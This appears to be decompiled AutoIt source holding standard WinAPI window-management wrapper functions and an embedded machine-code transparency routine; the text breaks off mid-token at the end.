__TRANSPARENCYPROC () STATIC $PPROC = 0 IF NOT $PPROC THEN IF @AUTOITX64 THEN $PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C24205541574831C0505050505050" & "4883EC284883BC24800000000074054831C0EB0748C7C0010000004821C07522" & "488BAC248000000048837D180074054831C0EB0748C7C0010000004821C07502" & "EB0948C7C001000000EB034831C04821C0740B4831C04863C0E93C0100004C63" & "7C24784983FF647E0F48C7C0010000004863C0E9220100004C637C24784D21FF" & "7D08C74424780000000048C74424280100000048C74424300000000048C74424" & "3800000000488BAC24800000004C637D04488BAC2480000000486345084C0FAF" & "F849C1E7024983C7FC4C3B7C24380F8C88000000488BAC24800000004C8B7D18" & "4C037C24384983C7034C897C2440488B6C2440480FB64500505888442448807C" & "244800744B4C0FB67C244848634424784C0FAFF84C89F848C7C1640000004899" & "48F7F94989C74C89F850488B6C244858884500488B6C2440807D0000740948C7" & "4424280000000048C7442430010000004883442438040F8149FFFFFF48837C24" & "3000741148837C242800740948C7C001000000EB034831C04821C0740E48C7C0" & "FFFFFFFF4863C0EB11EB0C48C7C0010000004863C0EB034831C04883C458415F" & "5DC3" ) ) ELSE $PPROC = __INIT (BINARY ("0x555331C05050505050837C242800740431C0EB05B80100000021C075198B6C24" & "28837D1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021" & "C0740731C0E9E50000008B5C242483FB647E0AB801000000E9D20000008B5C24" & "2421DB7D08C744242400000000C7042401000000C744240400000000C7442408" & "000000008B6C24288B5D048B6C24280FAF5D08C1E30283C3FC3B5C24087C648B" & "6C24288B5D14035C240883C303895C240C8B6C240C0FB6450088442410807C24" & "100074380FB65C24100FAF5C242489D8B96400000099F7F989C3538B6C241058" & "8845008B6C240C807D00007407C7042400000000C74424040100000083442408" & "047181837C240400740D833C24007407B801000000EB0231C021C07409B8FFFF" & "FFFFEB0BEB07B801000000EB0231C083C4145B5DC21000" ) ) ENDIF ENDIF RETURN $PPROC ENDFUNC #EndRegion Embedded DLL Functions FUNC _SENDMESSAGE ($HWND , $IMSG , $WPARAM = 0 , $LPARAM = 0 , $IRETURN = 0 , $WPARAMTYPE = "wparam" , $LPARAMTYPE = "lparam" , $SRETURNTYPE = "lresult" ) LOCAL $ARESULT = DLLCALL ("user32.dll" , $SRETURNTYPE , "SendMessageW" , "hwnd" , $HWND , "uint" , $IMSG , $WPARAMTYPE , $WPARAM , $LPARAMTYPE , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $IRETURN >= 0 AND $IRETURN <= 4 THEN RETURN $ARESULT [$IRETURN ] RETURN $ARESULT ENDFUNC FUNC _SENDMESSAGEA ($HWND , $IMSG , $WPARAM = 0 , $LPARAM = 0 , $IRETURN = 0 , $WPARAMTYPE = "wparam" , $LPARAMTYPE = "lparam" , $SRETURNTYPE = "lresult" ) LOCAL $ARESULT = DLLCALL ("user32.dll" , $SRETURNTYPE , "SendMessageA" , "hwnd" , $HWND , "uint" , $IMSG , $WPARAMTYPE , $WPARAM , $LPARAMTYPE , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $IRETURN >= 0 AND $IRETURN <= 4 THEN RETURN $ARESULT [$IRETURN ] RETURN $ARESULT ENDFUNC #Region Global Variables and Constants GLOBAL $__G_AINPROCESS_WINAPI [64 ] [2 ] = [[0 , 0 ] ] GLOBAL $__G_AWINLIST_WINAPI [64 ] [2 ] = [[0 , 0 ] ] GLOBAL CONST $GW_HWNDFIRST = 0 GLOBAL CONST $GW_HWNDLAST = 1 GLOBAL CONST $GW_HWNDNEXT = 2 GLOBAL CONST $GW_HWNDPREV = 3 GLOBAL CONST $GW_OWNER = 4 GLOBAL CONST $GW_CHILD = 5 GLOBAL CONST $GW_ENABLEDPOPUP = 6 GLOBAL CONST $GWL_WNDPROC = 4294967292 GLOBAL CONST $GWL_HINSTANCE = 4294967290 GLOBAL CONST $GWL_HWNDPARENT = 4294967288 GLOBAL CONST $GWL_ID = 4294967284 GLOBAL CONST $GWL_STYLE = 4294967280 GLOBAL CONST $GWL_EXSTYLE = 4294967276 GLOBAL CONST $GWL_USERDATA = 4294967275 GLOBAL CONST $__WINAPICONSTANT_WM_SETFONT = 48 #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CREATEWINDOWEX ($IEXSTYLE , $SCLASS , $SNAME , $ISTYLE , $IX , $IY , $IWIDTH , $IHEIGHT , $HPARENT , $HMENU = 0 , $HINSTANCE = 0 , $PPARAM = 0 ) IF $HINSTANCE = 0 THEN $HINSTANCE = _WINAPI_GETMODULEHANDLE ("" ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "CreateWindowExW" , "dword" , $IEXSTYLE , "wstr" , $SCLASS , "wstr" , $SNAME , "dword" , $ISTYLE , "int" , $IX , "int" , $IY , "int" , $IWIDTH , "int" , $IHEIGHT , "hwnd" , $HPARENT , "handle" , $HMENU , "handle" , $HINSTANCE , "struct*" , $PPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETCLIENTRECT ($HWND ) LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetClientRect" , "hwnd" , $HWND , "struct*" , $TRECT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TRECT ENDFUNC FUNC _WINAPI_GETDESKTOPWINDOW () LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetDesktopWindow" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DESTROYWINDOW ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DestroyWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ENABLEWINDOW ($HWND , $BENABLE = TRUE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "EnableWindow" , "hwnd" , $HWND , "bool" , $BENABLE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ENUMWINDOWS ($BVISIBLE = TRUE , $HWND = DEFAULT ) __WINAPI_ENUMWINDOWSINIT () IF $HWND = DEFAULT THEN $HWND = _WINAPI_GETDESKTOPWINDOW () __WINAPI_ENUMWINDOWSCHILD ($HWND , $BVISIBLE ) RETURN $__G_AWINLIST_WINAPI ENDFUNC FUNC _WINAPI_ENUMWINDOWSPOPUP () __WINAPI_ENUMWINDOWSINIT () LOCAL $HWND = _WINAPI_GETWINDOW (_WINAPI_GETDESKTOPWINDOW () , $GW_CHILD ) LOCAL $SCLASS WHILE $HWND <> 0 IF _WINAPI_ISWINDOWVISIBLE ($HWND ) THEN $SCLASS = _WINAPI_GETCLASSNAME ($HWND ) IF $SCLASS = "#32768" THEN __WINAPI_ENUMWINDOWSADD ($HWND ) ELSEIF $SCLASS = "ToolbarWindow32" THEN __WINAPI_ENUMWINDOWSADD ($HWND ) ELSEIF $SCLASS = "ToolTips_Class32" THEN __WINAPI_ENUMWINDOWSADD ($HWND ) ELSEIF $SCLASS = "BaseBar" THEN __WINAPI_ENUMWINDOWSCHILD ($HWND ) ENDIF ENDIF $HWND = _WINAPI_GETWINDOW ($HWND , $GW_HWNDNEXT ) WEND RETURN $__G_AWINLIST_WINAPI ENDFUNC FUNC _WINAPI_ENUMWINDOWSTOP () __WINAPI_ENUMWINDOWSINIT () LOCAL $HWND = _WINAPI_GETWINDOW (_WINAPI_GETDESKTOPWINDOW () , $GW_CHILD ) WHILE $HWND <> 0 IF _WINAPI_ISWINDOWVISIBLE ($HWND ) THEN __WINAPI_ENUMWINDOWSADD ($HWND ) $HWND = _WINAPI_GETWINDOW ($HWND , $GW_HWNDNEXT ) WEND RETURN $__G_AWINLIST_WINAPI ENDFUNC FUNC _WINAPI_GETCLASSNAME ($HWND ) IF NOT ISHWND ($HWND ) THEN $HWND = GUICTRLGETHANDLE ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetClassNameW" , "hwnd" , $HWND , "wstr" , "" , "int" , 4096 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [2 ] ) ENDFUNC FUNC _WINAPI_GETFOCUS () LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetFocus" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETPARENT ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetParent" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETSYSCOLOR ($IINDEX ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "INT" , "GetSysColor" , "int" , $IINDEX ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETSYSTEMMETRICS ($IINDEX ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetSystemMetrics" , "int" , $IINDEX ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETWINDOW ($HWND , $ICMD ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetWindow" , "hwnd" , $HWND , "uint" , $ICMD ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETWINDOWHEIGHT ($HWND ) LOCAL $TRECT = _WINAPI_GETWINDOWRECT ($HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TRECT , "Bottom" ) - DLLSTRUCTGETDATA ($TRECT , "Top" ) ENDFUNC FUNC _WINAPI_GETWINDOWLONG ($HWND , $IINDEX ) LOCAL $SFUNCNAME = "GetWindowLongW" IF @AUTOITX64 THEN $SFUNCNAME = "GetWindowLongPtrW" LOCAL $ARESULT = DLLCALL ("user32.dll" , "long_ptr" , $SFUNCNAME , "hwnd" , $HWND , "int" , $IINDEX ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETWINDOWRECT ($HWND ) LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowRect" , "hwnd" , $HWND , "struct*" , $TRECT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TRECT ENDFUNC FUNC _WINAPI_GETWINDOWTEXT ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetWindowTextW" , "hwnd" , $HWND , "wstr" , "" , "int" , 4096 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [2 ] ) ENDFUNC FUNC _WINAPI_GETWINDOWTHREADPROCESSID ($HWND , BYREF $IPID ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "dword" , "GetWindowThreadProcessId" , "hwnd" , $HWND , "dword*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) $IPID = $ARESULT [2 ] RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETWINDOWWIDTH ($HWND ) LOCAL $TRECT = _WINAPI_GETWINDOWRECT ($HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TRECT , "Right" ) - DLLSTRUCTGETDATA ($TRECT , "Left" ) ENDFUNC FUNC _WINAPI_INPROCESS ($HWND , BYREF $HLASTWND ) IF $HWND = $HLASTWND THEN RETURN TRUE FOR $II = $__G_AINPROCESS_WINAPI [0 ] [0 ] TO 1 STEP + 4294967295 IF $HWND = $__G_AINPROCESS_WINAPI [$II ] [0 ] THEN IF $__G_AINPROCESS_WINAPI [$II ] [1 ] THEN $HLASTWND = $HWND RETURN TRUE ELSE RETURN FALSE ENDIF ENDIF NEXT LOCAL $IPID _WINAPI_GETWINDOWTHREADPROCESSID ($HWND , $IPID ) LOCAL $ICOUNT = $__G_AINPROCESS_WINAPI [0 ] [0 ] + 1 IF $ICOUNT >= 64 THEN $ICOUNT = 1 $__G_AINPROCESS_WINAPI [0 ] [0 ] = $ICOUNT $__G_AINPROCESS_WINAPI [$ICOUNT ] [0 ] = $HWND $__G_AINPROCESS_WINAPI [$ICOUNT ] [1 ] = ($IPID = @AUTOITPID ) RETURN $__G_AINPROCESS_WINAPI [$ICOUNT ] [1 ] ENDFUNC FUNC _WINAPI_INVALIDATERECT ($HWND , $TRECT = 0 , $BERASE = TRUE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "InvalidateRect" , "hwnd" , $HWND , "struct*" , $TRECT , "bool" , $BERASE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ISCLASSNAME ($HWND , $SCLASSNAME ) LOCAL $SSEPARATOR = OPT ("GUIDataSeparatorChar" ) LOCAL $ACLASSNAME = STRINGSPLIT ($SCLASSNAME , $SSEPARATOR ) IF NOT ISHWND ($HWND ) THEN $HWND = GUICTRLGETHANDLE ($HWND ) LOCAL $SCLASSCHECK = _WINAPI_GETCLASSNAME ($HWND ) FOR $X = 1 TO UBOUND ($ACLASSNAME ) + 4294967295 IF STRINGUPPER (STRINGMID ($SCLASSCHECK , 1 , STRINGLEN ($ACLASSNAME [$X ] ) ) ) = STRINGUPPER ($ACLASSNAME [$X ] ) THEN RETURN TRUE NEXT RETURN FALSE ENDFUNC FUNC _WINAPI_ISWINDOW ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "IsWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ISWINDOWVISIBLE ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "IsWindowVisible" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_MOVEWINDOW ($HWND , $IX , $IY , $IWIDTH , $IHEIGHT , $BREPAINT = TRUE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "MoveWindow" , "hwnd" , $HWND , "int" , $IX , "int" , $IY , "int" , $IWIDTH , "int" , $IHEIGHT , "bool" , $BREPAINT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETFOCUS ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "SetFocus" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETFONT ($HWND , $HFONT , $BREDRAW = TRUE ) _SENDMESSAGE ($HWND , $__WINAPICONSTANT_WM_SETFONT , $HFONT , $BREDRAW , 0 , "hwnd" ) ENDFUNC FUNC _WINAPI_SETPARENT ($HWNDCHILD , $HWNDPARENT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "SetParent" , "hwnd" , $HWNDCHILD , "hwnd" , $HWNDPARENT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWPOS ($HWND , $HAFTER , $IX , $IY , $ICX , $ICY , $IFLAGS ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetWindowPos" , "hwnd" , $HWND , "hwnd" , $HAFTER , "int" , $IX , "int" , $IY , "int" , $ICX , "int" , $ICY , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWTEXT ($HWND , $STEXT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetWindowTextW" , "hwnd" , $HWND , "wstr" , $STEXT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SHOWWINDOW ($HWND , $ICMDSHOW = 5 ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "ShowWindow" , "hwnd" , $HWND , "int" , $ICMDSHOW ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_UPDATEWINDOW ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "UpdateWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __WINAPI_ENUMWINDOWSADD ($HWND , $SCLASS = "" ) IF $SCLASS = "" THEN $SCLASS = _WINAPI_GETCLASSNAME ($HWND ) $__G_AWINLIST_WINAPI [0 ] [0 ] += 1 LOCAL $ICOUNT = $__G_AWINLIST_WINAPI [0 ] [0 ] IF $ICOUNT >= $__G_AWINLIST_WINAPI [0 ] [1 ] THEN REDIM $__G_AWINLIST_WINAPI [$ICOUNT + 64 ] [2 ] $__G_AWINLIST_WINAPI [0 ] [1 ] += 64 ENDIF $__G_AWINLIST_WINAPI [$ICOUNT ] [0 ] = $HWND $__G_AWINLIST_WINAPI [$ICOUNT ] [1 ] = $SCLASS ENDFUNC FUNC __WINAPI_ENUMWINDOWSCHILD ($HWND , $BVISIBLE = TRUE ) $HWND = _WINAPI_GETWINDOW ($HWND , $GW_CHILD ) WHILE $HWND <> 0 IF (NOT $BVISIBLE ) OR _WINAPI_ISWINDOWVISIBLE ($HWND ) THEN __WINAPI_ENUMWINDOWSADD ($HWND ) __WINAPI_ENUMWINDOWSCHILD ($HWND , $BVISIBLE ) ENDIF $HWND = _WINAPI_GETWINDOW ($HWND , $GW_HWNDNEXT ) WEND ENDFUNC FUNC __WINAPI_ENUMWINDOWSINIT () REDIM $__G_AWINLIST_WINAPI [64 ] [2 ] $__G_AWINLIST_WINAPI [0 ] [0 ] = 0 $__G_AWINLIST_WINAPI [0 ] [1 ] = 64 ENDFUNC #EndRegion Internal Functions GLOBAL CONST $FLASHW_CAPTION = 1 GLOBAL CONST $FLASHW_TRAY = 2 GLOBAL CONST $FLASHW_TIMER = 4 GLOBAL CONST $FLASHW_TIMERNOFG = 12 GLOBAL CONST $TAGUPDATELAYEREDWINDOWINFO = "dword Size;hwnd hDstDC;long DstX;long DstY;long cX;long cY;hwnd hSrcDC;long SrcX;long SrcY;dword crKey;byte BlendOp;byte BlendFlags;byte Alpha;byte AlphaFormat;dword Flags;long DirtyLeft;long DirtyTop;long DirtyRight;long DirtyBottom" GLOBAL CONST $TAGWINDOWINFO = "dword Size;struct;long rWindow[4];endstruct;struct;long rClient[4];endstruct;dword Style;dword ExStyle;dword WindowStatus;uint cxWindowBorders;uint cyWindowBorders;word atomWindowType;word CreatorVersion" GLOBAL CONST $TAGWNDCLASS = "uint Style;ptr hWndProc;int ClsExtra;int WndExtra;ptr hInstance;ptr hIcon;ptr hCursor;ptr hBackground;ptr MenuName;ptr ClassName" GLOBAL CONST $TAGWNDCLASSEX = "uint Size;uint Style;ptr hWndProc;int ClsExtra;int WndExtra;ptr hInstance;ptr hIcon;ptr hCursor;ptr hBackground;ptr MenuName;ptr ClassName;ptr hIconSm" GLOBAL CONST $TAGFLASHWINFO = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut" FUNC _WINAPI_ADJUSTWINDOWRECTEX (BYREF $TRECT , $ISTYLE , $IEXSTYLE = 0 , $BMENU = FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "AdjustWindowRectEx" , "struct*" , $TRECT , "dword" , $ISTYLE , "bool" , $BMENU , "dword" , $IEXSTYLE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ANIMATEWINDOW ($HWND , $IFLAGS , $IDURATION = 1000 ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "AnimateWindow" , "hwnd" , $HWND , "dword" , $IDURATION , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_BEGINDEFERWINDOWPOS ($IAMOUNT = 1 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "BeginDeferWindowPos" , "int" , $IAMOUNT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_BRINGWINDOWTOTOP ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "BringWindowToTop" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_BROADCASTSYSTEMMESSAGE ($IMSG , $WPARAM = 0 , $LPARAM = 0 , $IFLAGS = 0 , $IRECIPIENTS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "long" , "BroadcastSystemMessageW" , "dword" , $IFLAGS , "dword*" , $IRECIPIENTS , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN SETEXTENDED ($ARET [2 ] , $ARET [0 ] ) ENDFUNC FUNC _WINAPI_CALLWINDOWPROC ($PPREVWNDFUNC , $HWND , $IMSG , $WPARAM , $LPARAM ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "ptr" , $PPREVWNDFUNC , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CALLWINDOWPROCW ($PPREVWNDPROC , $HWND , $IMSG , $WPARAM , $LPARAM ) LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProcW" , "ptr" , $PPREVWNDPROC , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CASCADEWINDOWS ($AWNDS , $TRECT = 0 , $HPARENT = 0 , $IFLAGS = 0 , $ISTART = 0 , $IEND = + 4294967295 ) IF __CHECKERRORARRAYBOUNDS ($AWNDS , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ICOUNT = $IEND - $ISTART + 1 LOCAL $TWNDS = DLLSTRUCTCREATE ("hwnd[" & $ICOUNT & "]" ) $ICOUNT = 1 FOR $I = $ISTART TO $IEND DLLSTRUCTSETDATA ($TWNDS , 1 , $AWNDS [$I ] , $ICOUNT ) $ICOUNT += 1 NEXT LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "CascadeWindows" , "hwnd" , $HPARENT , "uint" , $IFLAGS , "struct*" , $TRECT , "uint" , $ICOUNT + 4294967295 , "struct*" , $TWNDS ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CHANGEWINDOWMESSAGEFILTEREX ($HWND , $IMSG , $IACTION ) LOCAL $TCFS , $ARET IF $HWND AND ($__WINVER > 1536 ) THEN LOCAL CONST $TAGCHANGEFILTERSTRUCT = "dword cbSize; dword ExtStatus" $TCFS = DLLSTRUCTCREATE ($TAGCHANGEFILTERSTRUCT ) DLLSTRUCTSETDATA ($TCFS , 1 , DLLSTRUCTGETSIZE ($TCFS ) ) $ARET = DLLCALL ("user32.dll" , "bool" , "ChangeWindowMessageFilterEx" , "hwnd" , $HWND , "uint" , $IMSG , "dword" , $IACTION , "struct*" , $TCFS ) ELSE $TCFS = 0 $ARET = DLLCALL ("user32.dll" , "bool" , "ChangeWindowMessageFilter" , "uint" , $IMSG , "dword" , $IACTION ) ENDIF IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN SETEXTENDED (DLLSTRUCTGETDATA ($TCFS , 2 ) , 1 ) ENDFUNC FUNC _WINAPI_CHILDWINDOWFROMPOINTEX ($HWND , $TPOINT , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "ChildWindowFromPointEx" , "hwnd" , $HWND , "struct" , $TPOINT , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CLOSEWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CloseWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DEFERWINDOWPOS ($HINFO , $HWND , $HAFTER , $IX , $IY , $IWIDTH , $IHEIGHT , $IFLAGS ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "DeferWindowPos" , "handle" , $HINFO , "hwnd" , $HWND , "hwnd" , $HAFTER , "int" , $IX , "int" , $IY , "int" , $IWIDTH , "int" , $IHEIGHT , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DEFWINDOWPROC ($HWND , $IMSG , $WPARAM , $LPARAM ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "lresult" , "DefWindowProc" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DEFWINDOWPROCW ($HWND , $IMSG , $WPARAM , $LPARAM ) LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "DefWindowProcW" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DEREGISTERSHELLHOOKWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "DeregisterShellHookWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DRAGACCEPTFILES ($HWND , $BACCEPT = TRUE ) DLLCALL ("shell32.dll" , "none" , "DragAcceptFiles" , "hwnd" , $HWND , "bool" , $BACCEPT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_DRAGFINISH ($HDROP ) DLLCALL ("shell32.dll" , "none" , "DragFinish" , "handle" , $HDROP ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_DRAGQUERYFILEEX ($HDROP , $IFLAG = 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "uint" , "DragQueryFileW" , "handle" , $HDROP , "uint" , + 4294967295 , "ptr" , 0 , "uint" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , 0 , 0 ) LOCAL $ICOUNT = $ARET [0 ] LOCAL $ARESULT [$ICOUNT + 1 ] FOR $I = 0 TO $ICOUNT + 4294967295 $ARET = DLLCALL ("shell32.dll" , "uint" , "DragQueryFileW" , "handle" , $HDROP , "uint" , $I , "wstr" , "" , "uint" , 4096 ) IF NOT $ARET [0 ] THEN RETURN SETERROR (11 , 0 , 0 ) IF $IFLAG THEN LOCAL $BDIR = _WINAPI_PATHISDIRECTORY ($ARET [3 ] ) IF (($IFLAG = 1 ) AND $BDIR ) OR (($IFLAG = 2 ) AND NOT $BDIR ) THEN CONTINUELOOP ENDIF ENDIF $ARESULT [$I + 1 ] = $ARET [3 ] $ARESULT [0 ] += 1 NEXT IF NOT $ARESULT [0 ] THEN RETURN SETERROR (12 , 0 , 0 ) __INC 